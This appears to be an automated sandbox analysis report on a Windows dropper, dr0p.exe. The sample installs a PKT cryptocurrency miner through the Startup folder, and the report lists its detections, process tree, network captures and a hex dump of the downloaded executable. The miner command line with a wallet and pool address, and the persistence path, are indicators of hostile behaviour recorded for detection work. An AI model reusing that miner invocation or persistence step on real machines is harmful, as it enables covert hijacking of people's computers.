Edit tour

Windows Analysis Report
dr0p.exe

Overview

General Information

Sample name:	dr0p.exe
Analysis ID:	1585312
MD5:	5290766026d3727c3262fd48db6db0a4
SHA1:	59aec8a9c0e6f59bfee7902fbdcb6e3b9932a93b
SHA256:	d078d8690446e831acc794ee2df5dfabcc5299493e7198993149e3c0c33ccb36
Tags:	exeLoaderMineruser-WHALLER
Infos:

Detection

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Drops PE files to the startup folder

Found API chain with Download & Execute functionality

Machine Learning detection for dropped file

Machine Learning detection for sample

Yara detected Generic Downloader

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

HTTP GET or POST without a user agent

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

PE file does not import any functions

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Startup Folder File Write

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Classification

Process Tree

System is w10x64

dr0p.exe (PID: 6300 cmdline: "C:\Users\user\Desktop\dr0p.exe" MD5: 5290766026D3727C3262FD48DB6DB0A4)

pkt1.exe (PID: 2308 cmdline: "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pkt1.exe" MD5: 5F6CDA0F181FE14E6D395CDB50C37C41)

conhost.exe (PID: 3452 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

packetcrypt.exe (PID: 744 cmdline: "C:\Users\user\AppData\Local\Temp\packetcrypt.exe" ann -p pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5a http://pool.pkt.world MD5: 82C7D11916FDFBF24EAE6BF9200A48C9)

conhost.exe (PID: 1184 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Temp\.net\pkt1\904\System.Net.dll	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Local\Temp\.net\pkt1\904\System.dll	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Local\Temp\.net\pkt1\904\netstandard.dll	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security

Sigma Signatures

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\dr0p.exe, ProcessId: 6300, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pkt1.exe

Suricata Signatures

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-07T13:57:59.937172+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49730	23.27.51.244	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-07T13:57:59.937172+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49730	23.27.51.244	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\.net\pkt1\904\PacketCryptApp.dll

ReversingLabs: Detection: 18%

Multi AV Scanner detection for submitted file

Source: dr0p.exe

ReversingLabs: Detection: 42%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\.net\pkt1\904\PacketCryptApp.dll

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: dr0p.exe

Joe Sandbox ML: detected

Source:	Binary string: System.Diagnostics.TraceSource.ni.pdb source: System.Diagnostics.TraceSource.dll.4.dr
Source:	Binary string: System.Runtime.InteropServices.ni.pdb source: pkt1.exe, 00000004.00000002.4146708699.00007FFE11511000.00000020.00000001.01000000.0000000D.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading\Release\net8.0\System.Threading.pdb source: pkt1.exe, 00000004.00000002.4153789130.00007FFE11BB1000.00000020.00000001.01000000.0000000C.sdmp
Source:	Binary string: System.Diagnostics.Process.ni.pdb source: pkt1.exe, 00000004.00000002.4154368557.00007FFE1A501000.00000020.00000001.01000000.00000008.sdmp
Source:	Binary string: System.ComponentModel.Primitives.ni.pdb source: pkt1.exe, 00000004.00000002.4154239730.00007FFE11ED1000.00000020.00000001.01000000.00000009.sdmp
Source:	Binary string: System.Net.Ping.ni.pdb source: System.Net.Ping.dll.4.dr
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\coreclr\windows.x64.Release\Corehost.Static\singlefilehost.pdb source: pkt1.exe, 00000004.00000000.2021865265.00007FF68EC8D000.00000002.00000001.01000000.00000005.sdmp, pkt1.exe, 00000004.00000002.4115297870.00007FF68EC8D000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\coreclr\System.Private.CoreLib\x64\Release\System.Private.CoreLib.pdb source: pkt1.exe, 00000004.00000002.4115743156.00007FFDFACF1000.00000020.00000001.01000000.00000006.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Ping\Release\net8.0-windows\System.Net.Ping.pdb source: System.Net.Ping.dll.4.dr
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime\Release\net8.0\System.Runtime.pdbSHA256 source: pkt1.exe, 00000004.00000002.4110591486.000001DA4AE92000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.TraceSource\Release\net8.0\System.Diagnostics.TraceSource.pdb source: System.Diagnostics.TraceSource.dll.4.dr
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Ping\Release\net8.0-windows\System.Net.Ping.pdbSHA256S source: System.Net.Ping.dll.4.dr
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Memory\Release\net8.0\System.Memory.pdb source: pkt1.exe, 00000004.00000002.4153918296.00007FFE11BD1000.00000020.00000001.01000000.0000000B.sdmp
Source:	Binary string: /_/artifacts/obj/System.Data.DataSetExtensions/Release/net8.0-windows/System.Data.DataSetExtensions.pdbSHA256X source: System.Data.DataSetExtensions.dll.4.dr
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Console\Release\net8.0-windows\System.Console.pdb source: pkt1.exe, 00000004.00000002.4154082225.00007FFE11EA1000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/netstandard/Release/net8.0-windows/netstandard.pdb source: pkt1.exe, 00000004.00000002.4112102175.000001DA4D5A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.ComponentModel.Primitives\Release\net8.0\System.ComponentModel.Primitives.pdb source: pkt1.exe, 00000004.00000002.4154239730.00007FFE11ED1000.00000020.00000001.01000000.00000009.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\coreclr\windows.x64.Release\dlls\mscordac\mscordaccore.pdb source: pkt1.exe, 00000004.00000002.4115612916.00007FF68EE68000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.Loader\Release\net8.0\System.Runtime.Loader.pdbSHA256i source: System.Runtime.Loader.dll.4.dr
Source:	Binary string: /_/artifacts/obj/System.ServiceModel.Web/Release/net8.0-windows/System.ServiceModel.Web.pdb source: System.ServiceModel.Web.dll.4.dr
Source:	Binary string: C:\Users\Admin.DESKTOP-9H4MNNT\Desktop\1111\PacketCryptApp\obj\Release\net8.0\win-x64\PacketCryptApp.pdbSHA256_u source: pkt1.exe, 00000004.00000002.4110904218.000001DA4C8D2000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: /_/artifacts/obj/netstandard/Release/net8.0-windows/netstandard.pdbSHA256%# source: pkt1.exe, 00000004.00000002.4112102175.000001DA4D5A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Console.ni.pdb source: pkt1.exe, 00000004.00000002.4154082225.00007FFE11EA1000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Data.DataSetExtensions/Release/net8.0-windows/System.Data.DataSetExtensions.pdb source: System.Data.DataSetExtensions.dll.4.dr
Source:	Binary string: System.Linq.Expressions.ni.pdb source: System.Linq.Expressions.dll.4.dr
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.Process\Release\net8.0-windows\System.Diagnostics.Process.pdb source: pkt1.exe, 00000004.00000002.4154368557.00007FFE1A501000.00000020.00000001.01000000.00000008.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\Microsoft.Win32.Primitives\Release\net8.0\Microsoft.Win32.Primitives.pdb source: pkt1.exe, 00000004.00000002.4110638077.000001DA4AEA2000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: System.Memory.ni.pdb source: pkt1.exe, 00000004.00000002.4153918296.00007FFE11BD1000.00000020.00000001.01000000.0000000B.sdmp
Source:	Binary string: System.Threading.ni.pdb source: pkt1.exe, 00000004.00000002.4153789130.00007FFE11BB1000.00000020.00000001.01000000.0000000C.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime\Release\net8.0\System.Runtime.pdb source: pkt1.exe, 00000004.00000002.4110591486.000001DA4AE92000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Linq.Expressions\Release\net8.0\System.Linq.Expressions.pdb source: System.Linq.Expressions.dll.4.dr
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.InteropServices\Release\net8.0\System.Runtime.InteropServices.pdb source: pkt1.exe, 00000004.00000002.4146708699.00007FFE11511000.00000020.00000001.01000000.0000000D.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Text.Encoding.Extensions\Release\net8.0\System.Text.Encoding.Extensions.pdbSHA2560 source: pkt1.exe, 00000004.00000002.4110702890.000001DA4AEB2000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: System.Private.CoreLib.ni.pdb source: pkt1.exe, 00000004.00000002.4115743156.00007FFDFACF1000.00000020.00000001.01000000.00000006.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Text.Encoding.Extensions\Release\net8.0\System.Text.Encoding.Extensions.pdb source: pkt1.exe, 00000004.00000002.4110702890.000001DA4AEB2000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Linq.Expressions\Release\net8.0\System.Linq.Expressions.pdbSHA256 source: System.Linq.Expressions.dll.4.dr
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\Microsoft.Win32.Primitives\Release\net8.0\Microsoft.Win32.Primitives.pdbSHA256%B source: pkt1.exe, 00000004.00000002.4110638077.000001DA4AEA2000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.Loader\Release\net8.0\System.Runtime.Loader.pdb source: System.Runtime.Loader.dll.4.dr
Source:	Binary string: C:\Users\Admin.DESKTOP-9H4MNNT\Desktop\1111\PacketCryptApp\obj\Release\net8.0\win-x64\PacketCryptApp.pdb source: pkt1.exe, 00000004.00000002.4110904218.000001DA4C8D2000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: /_/artifacts/obj/System.ServiceModel.Web/Release/net8.0-windows/System.ServiceModel.Web.pdbSHA256 source: System.ServiceModel.Web.dll.4.dr

Source: C:\Users\user\Desktop\dr0p.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\	Jump to behavior
Source: C:\Users\user\Desktop\dr0p.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\	Jump to behavior
Source: C:\Users\user\Desktop\dr0p.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\	Jump to behavior
Source: C:\Users\user\Desktop\dr0p.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Users\user\Desktop\dr0p.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Users\user\Desktop\dr0p.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\	Jump to behavior

Networking

Yara detected Generic Downloader

Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\.net\pkt1\904\System.Net.dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\.net\pkt1\904\System.dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\.net\pkt1\904\netstandard.dll, type: DROPPED

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 07 Jan 2025 12:57:59 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 06 Jan 2025 05:15:33 GMTETag: "287a9be-62b02b7c80797"Accept-Ranges: bytesContent-Length: 42445246Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 0a 59 8b 17 4e 38 e5 44 4e 38 e5 44 4e 38 e5 44 47 40 76 44 58 38 e5 44 8d bb e6 45 5a 38 e5 44 8d bb e1 45 5c 38 e5 44 8d bb e0 45 11 38 e5 44 3e b9 e1 45 46 38 e5 44 3e b9 e4 45 43 38 e5 44 4e 38 e4 44 46 3a e5 44 5d bc e6 45 5b 38 e5 44 5d bc ec 45 c3 3a e5 44 5d bc e5 45 4f 38 e5 44 5d bc 1a 44 4f 38 e5 44 5d bc e7 45 4f 38 e5 44 52 69 63 68 4e 38 e5 44 00 00 00 00 00 00 00 00 50 45 00 00 64 86 0a 00 21 5f 11 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 28 00 aa 61 00 00 ec 31 00 00 00 00 00 90 fe 5c 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 95 00 00 04 00 00 00 00 00 00 03 00 60 c1 00 00 18 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 f0 66 79 00 c4 00 00 00 b4 67 79 00 68 01 00 00 00 70 80 00 20 73 14 00 00 a0 7b 00 fc 60 03 00 00 00 00 00 00 00 00 00 00 f0 94 00 2c 7e 00 00 b0 a6 70 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 a8 70 00 28 00 00 00 40 45 62 00 40 01 00 00 00 00 00 00 00 00 00 00 00 d0 61 00 c8 0e 00 00 a4 64 79 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1c a7 61 00 00 10 00 00 00 a8 61 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 43 4c 52 5f 55 45 46 dd 00 00 00 00 c0 61 00 00 02 00 00 00 ac 61 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 e2 c5 17 00 00 d0 61 00 00 c6 17 00 00 ae 61 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 c4 ff 01 00 00 a0 79 00 00 98 00 00 00 74 79 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 fc 60 03 00 00 a0 7b 00 00 62 03 00 00 0c 7a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 38 00 00 00 00 10 7f 00 00 02 00 00 00 6e 7d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 53 65 63 74 69 6f 6e 00 08 00 00 00 00 20 7f 00 00 02 00 00 00 70 7d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 5f 52 44 41 54 41 00 00 08 32 01 00 00 30 7f 00 00 34 01 00 00 72 7d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 20 73 14 00 00 70 80 00 00 74 14 00 00 a6 7e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 2c 7e 00 00 00 f0 94 00 00 80 00 00 00 1a 93 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /anns/submit?cookie=4a3701444348c2607de40463d7dc7d0a8e9940959292aab39a317c42591d2da0 HTTP/1.1x-pc-payto: pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5ax-pc-sver: 1x-pc-annver: 1x-pc-worknum: 2837096accept: /host: any.ah.pkt.worldtransfer-encoding: chunked
Source: global traffic	HTTP traffic detected: POST /anns/submit?cookie=4a3701444348c2607de40463d7dc7d0a8e9940959292aab39a317c42591d2da0 HTTP/1.1x-pc-payto: pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5ax-pc-sver: 1x-pc-annver: 1x-pc-worknum: 2837096accept: /host: any.ah.pkt.worldtransfer-encoding: chunked
Source: global traffic	HTTP traffic detected: POST /anns/submit?cookie=4a3701444348c2607de40463d7dc7d0a8e9940959292aab39a317c42591d2da0 HTTP/1.1x-pc-payto: pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5ax-pc-sver: 1x-pc-annver: 1x-pc-worknum: 2837096accept: /host: any.ah.pkt.worldtransfer-encoding: chunked
Source: global traffic	HTTP traffic detected: POST /anns/submit?cookie=4a3701444348c2607de40463d7dc7d0a8e9940959292aab39a317c42591d2da0 HTTP/1.1x-pc-payto: pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5ax-pc-sver: 1x-pc-annver: 1x-pc-worknum: 2837097accept: /host: any.ah.pkt.worldtransfer-encoding: chunked
Source: global traffic	HTTP traffic detected: POST /anns/submit?cookie=4a3701444348c2607de40463d7dc7d0a8e9940959292aab39a317c42591d2da0 HTTP/1.1x-pc-payto: pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5ax-pc-sver: 1x-pc-annver: 1x-pc-worknum: 2837097accept: /host: any.ah.pkt.worldtransfer-encoding: chunked
Source: global traffic	HTTP traffic detected: POST /anns/submit?cookie=4a3701444348c2607de40463d7dc7d0a8e9940959292aab39a317c42591d2da0 HTTP/1.1x-pc-payto: pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5ax-pc-sver: 1x-pc-annver: 1x-pc-worknum: 2837097accept: /host: any.ah.pkt.worldtransfer-encoding: chunkedData Raw: 34 30 30 0d 0a 01 84 af 0a 4e 7c 8c e1 b4 43 17 1f 68 4a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e7 af 8f a7 d5 d0 a8 88 0f f0 37 e8 91 38 6c ea a3 21 3c 5e cb 41 f1 a4 c0 d6 17 33 0d b6 43 c5 fa f9 51 47 c5 0e 3e b6 6b e1 0a ca d6 73 5f 5e b7 4f 2a 27 cb 06 ed 2c 9b 10 1a 77 21 92 73 38 93 15 e5 38 4e 71 99 c2 94 ee 3d b1 26 fa b8 6a aa e3 c1 84 8e 75 b5 7a c6 fb 59 c6 49 3b ac 08 7f c5 ae 93 ba 1c ec b8 60 e8 78 4c e6 c2 84 97 d3 20 10 cf 56 76 ea 4d a7 16 37 1d 3e 8c 85 36 e0 57 7e cc e2 37 e8 be 73 e8 5d ab 75 c7 3a 35 6a a2 d2 cd ec 97 23 21 82 41 77 ee 7b 4b da 92 10 87 db 20 d3 b4 90 9c 35 57 9c fb c5 82 91 22 e8 e0 2f 8a 9c 5d f5 a6 d8 70 98 19 12 e7 d2 32 7f 2a 27 43 ce 51 3b 54 8b 93 d1 15 b0 9c a5 56 cc 3c e3 82 35 58 fa f3 cd 83 7b 37 6d 83 02 bb 56 42 8d 90 9c c5 f7 11 a1 c8 50 22 0b a0 76 4a 56 0a 22 91 cd a7 c7 d4 d0 5d 1b 00 1c aa 8f 5a c7 6c 42 4f a0 7d c0 1d 65 c4 8f 40 ce 5b 50 1c 50 4e 28 b2 58 6e 0a bf b1 bc de 2a 4f ee 8c 59 26 aa 87 42 07 8b 20 f2 4e 5c 1c 00 31 ec 7b c9 26 47 9d 77 98 76 15 fd bc 0e ad 71 b4 8f 93 fc af f8 b5 8e f5 c8 f0 2a 0c a4 65 d6 8e 45 80 b4 b5 27 57 bb fa c9 e0 80 b3 b9 6a cd c5 f5 9e 4e ba e0 4b c1 4d 2a a2 23 2f 94 8c 9f 89 32 1a 9b fe 4d cf 24 55 03 c6 a6 a0 78 cb 7a aa 1b 0a 6e fc 50 c0 0c 27 08 fc d9 9b 97 32 5d fb bd b6 2d b7 42 93 bf 3c 0d a0 59 8e c8 29 dd 6f ac db 02 20 30 39 a8 45 d4 06 5d 94 33 1c e3 a1 f9 e7 c6 ca 25 66 4b c3 04 e6 a4 c3 7b 54 bf 3f c0 c9 d2 fa d9 f7 2c c3 fd 7c 95 90 20 fc 31 07 12 9c bc 1c 88 cf cd 67 00 84 d1 a6 47 35 c5 ba e1 d5 66 19 8e f6 e8 32 3a 92 c6 b6 78 d8 7a 1d ec 6c f6 3f 93 dc 50 bb aa eb f4 7b 92 55 48 17 36 bf 04 ee 6a f8 08 03 47 fb 28 3c 5f 94 c2 b4 9c 18 fb 5d b6 e0 b7 ee 1c 95 93 45 38 c9 a0 d7 7f 61 46 05 4d 73 bc 20 42 e1 28 58 7b 8a d4 b0 f9 77 aa ca c3 4b 0d 7f 0b 37 47 53 50 17 64 2b 22 16 81 5d c4 9a 12 ed a4 49 45 35 5e 5a f7 39 d5 dd 29 42 82 b9 1f bd d7 0d ab a1 09 79 74 ec 51 2c 4e fc db 68 b8 ac 33 ee e3 e5 f8 b6 a0 a3 43 d6 35 9e 8b 71 02 48 18 f2 70 cf da 44 03 5f 31 90 28 3e eb bb 6d 87 7f 63 d0 30 33 e9 0e 93 4d 26 2e 9e 77 37 f5 3d 63 06 d9 fe b1 d7 35 9e 3f 3f df df f7 4e 31 c8 8c 31 45 a4 8c ed 39 0e ea f7 f7 b8 6e 40 c2 ad d9 76 3b 75 71 a7 4a ba 2e a2 a7 ef c2 87 5b b0 88 e8 5b 11 73 72 62 ff c5 dd 17 1d 65 f2 2c 95 76 67 18 3f 4a 87 fd a8 b1 62 a5 f1 b9 6e f5 e8 bd 51 57 59 6a 84 0e 70 cf 95 db 9c d6 10 8c f9 95 83 da 24 61 c6 f1 c1 af e4 a5 d0 b8 e0 49 0e 4e a7 0c f7 09 ae 49 d5 c7 74 45 d1 e1 3a fc bb eb a1 cc 7c 04 ec 25 10 56 79 8c 7b 82 f8 03 f5 70 fd 5d a9 3e 07 48
Source: global traffic	HTTP traffic detected: POST /anns/submit?cookie=4a3701444348c2607de40463d7dc7d0a8e9940959292aab39a317c42591d2da0 HTTP/1.1x-pc-payto: pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5ax-pc-sver: 1x-pc-annver: 1x-pc-worknum: 2837097accept: /host: any.ah.pkt.worldtransfer-encoding: chunked
Source: global traffic	HTTP traffic detected: POST /anns/submit?cookie=4a3701444348c2607de40463d7dc7d0a8e9940959292aab39a317c42591d2da0 HTTP/1.1x-pc-payto: pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5ax-pc-sver: 1x-pc-annver: 1x-pc-worknum: 2837098accept: /host: any.ah.pkt.worldtransfer-encoding: chunked
Source: global traffic	HTTP traffic detected: POST /anns/submit?cookie=4a3701444348c2607de40463d7dc7d0a8e9940959292aab39a317c42591d2da0 HTTP/1.1x-pc-payto: pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5ax-pc-sver: 1x-pc-annver: 1x-pc-worknum: 2837098accept: /host: any.ah.pkt.worldtransfer-encoding: chunkedData Raw: 34 30 30 0d 0a 01 8b e9 04 4f 7c 8c e1 b4 43 17 1f 69 4a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 97 21 8d 27 03 f0 bc 50 5a 64 71 c8 bd 6c 29 96 29 b0 9f ad 62 36 b3 4f 5b de c8 da 34 b6 0e fc 09 a7 bb 7f ff 01 f4 87 3c fb dc 90 15 53 ad 03 26 6e 45 28 64 39 a6 92 26 a0 f0 68 fe 2f ff 57 63 1a 32 e8 71 3f f4 79 cc 0c f5 05 3d 81 af 4c fb 27 ca c5 aa 74 50 6e 1e 17 14 69 2a 14 65 d3 5a 2f 30 76 06 a1 c4 e1 51 06 1a ce 48 ab af 26 cc 0a b5 da fa 07 65 4e a5 03 1b 13 96 bd 4e 58 47 8e 21 8a c0 b3 dc 9d 30 60 d6 91 f0 3f 99 32 e3 5a 8f 1b e1 f5 a8 0b 0d 2c 23 5c 2b d8 9f 10 09 e8 3d fd cc 80 7c 96 02 62 eb 40 cf 73 09 f7 18 73 11 1b 0b 3b ea 30 95 23 ba 8a 1b 9e 43 3a db 7f c7 77 65 33 be d5 a5 bf 69 33 b6 e5 19 43 48 c7 4f 8f 5c e1 2c 3c 91 d6 d6 e7 fa 38 8e 29 38 87 81 b3 04 34 b1 63 de 08 46 08 7c 93 e0 c2 24 53 47 83 6e d3 20 a8 bb 08 62 eb c8 77 29 ec ab 60 f1 08 9c a6 39 39 82 e7 1e 61 5a 7b f6 c6 c1 00 2e 2e 40 72 4d e4 7a 89 7f aa 1b a0 1f 7e 38 72 0c c1 58 b9 00 96 4c 02 11 bb b1 19 49 59 46 40 a1 a3 75 a2 dc 92 d7 eb d6 61 99 4a ab 73 54 e0 7d c0 91 9d 54 6c 36 5d 4a a4 2f 87 da 0d a6 f3 31 eb a6 6e 98 ca 6e 79 56 c3 96 b1 6b d5 a1 30 ce c0 c5 d4 ef 54 c1 27 86 af 78 7c 90 b2 9d e7 31 3e 1a 2a d7 75 c5 fb 10 ae e0 94 7f 77 3a c0 bd 8f 46 e7 b8 00 17 f5 53 2e 3b 18 89 f5 cb 91 07 9b 01 ac 7e e8 7f eb c8 c9 78 2f f3 9b 2d 8c a7 22 90 24 6b 2d 67 e8 2e d1 bb 9d 77 b0 4a 42 f9 72 e9 b8 28 77 2c 87 a9 ce 12 ae 72 6b 98 46 65 f3 49 81 10 25 4d 35 ce 1a a5 32 0f 72 da 97 78 8d ad c2 e9 2c c9 00 01 5d 3c 31 6a 10 6a 01 bf 7d be f3 35 9a 70 1f ad a3 87 95 b4 c5 32 ea 30 b6 d3 ee 77 3d 03 b6 c3 a5 f1 10 36 22 39 b2 34 67 11 5e 4e e0 3d b4 66 51 85 3f db 52 23 69 a4 8b ac 27 bc d3 46 b6 21 29 23 ac 78 b4 44 e1 53 57 5d 20 78 14 cb ea 48 39 7c a7 18 ac 10 20 40 47 f1 9f 58 13 d2 76 80 17 7a 29 e9 f2 c7 2c a3 e9 6f ea 3d a2 8b 6e 89 c2 45 ab 31 b3 6f 6f 51 6f 61 e1 6d f0 4c 24 b5 ad c4 bc ed d5 c7 ba d6 fe 82 f3 31 b4 b1 5f ec 67 9a ce 1d 6d 70 47 08 9d 7e ed d9 c4 b2 4e 4c 4a 67 17 9e 8f 1c 9c 29 53 05 ae 70 a8 93 b8 01 2a 8b a7 79 f6 16 5a 37 90 36 a4 c9 61 be 8d 0a 64 50 51 84 3b e2 b3 01 47 19 9e 63 db ef b9 a4 2e 38 5c 17 8b 0a 0f 9f e5 04 45 97 d1 40 9a 23 eb 81 af 5d 85 48 51 d8 e4 c1 cc e8 6b cf 2c f7 a7 64 c9 d2 31 af f7 e3 2f 40 fa b6 72 7e a6 aa 81 6e 68 91 ef 78 8f 89 d8 4d 64 8c d1 da 4a de 56 3e 24 3b 18 5b d6 d7 e3 45 b6 d0 e1 df 40 56 f6 d0 b9 b4 e5 e8 d0 34 19 46 46 95 db 98 80 3b 65 24 5f e5 f7 01 48 e6 f4 8a 3b b3 19 5d 0f 18 ef a6 db 87 61 bc 6e 64 47 0b 73 90 41 55 c9 83 66
